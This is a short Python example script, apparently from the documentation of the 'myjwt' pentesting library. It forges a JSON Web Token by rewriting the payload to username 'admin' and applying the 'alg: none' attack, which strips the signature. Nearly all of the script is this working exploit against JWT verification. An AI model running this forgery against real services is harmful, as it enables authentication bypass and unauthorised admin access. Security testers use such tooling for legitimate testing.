from myjwt.modify_jwt import change_payload
from myjwt.utils import encode_jwt
from myjwt.utils import jwt_to_json
from myjwt.utils import SIGNATURE
from myjwt.vulnerabilities import none_vulnerability

jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"
jwt_json = jwt_to_json(jwt)
jwt_json = change_payload(jwt_json, {"username": "admin"})
# "header" = {"typ": "JWT", "alg": "HS256"}
# "payload" = {"username": "admin"}
# "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"

jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
# "header" = {"typ": "JWT", "alg": "none"}
# "payload" = {"username": "admin"}
# "signature" = ""
print(jwt)
